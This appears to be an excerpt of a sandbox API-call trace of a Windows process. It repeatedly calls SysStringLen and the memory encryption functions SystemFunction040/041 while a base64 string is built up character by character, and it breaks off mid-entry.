[0128.486] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.486] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0128.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.486] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0128.486] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.486] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.486] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.486] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0128.486] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.486] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.486] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0128.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.487] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0128.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.487] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0128.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.487] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0128.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.487] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0128.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.487] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.488] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.488] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0128.488] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0128.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.488] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0128.488] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.488] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0128.488] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.488] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0128.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.489] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0128.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.489] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0128.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.489] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0128.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.489] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.489] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0128.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.490] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.490] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0128.490] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0128.490] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.490] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0128.490] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.490] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.490] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0128.490] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.490] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.490] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0128.490] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.490] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.490] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0128.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.491] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.491] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0128.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.491] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.491] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0128.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.491] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.491] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0128.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.491] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.491] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.491] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0128.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0128.492] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.492] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0128.492] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.492] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.492] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0128.492] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.492] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.492] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0128.492] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.492] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.492] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.492] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0128.492] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.493] SysStringLen 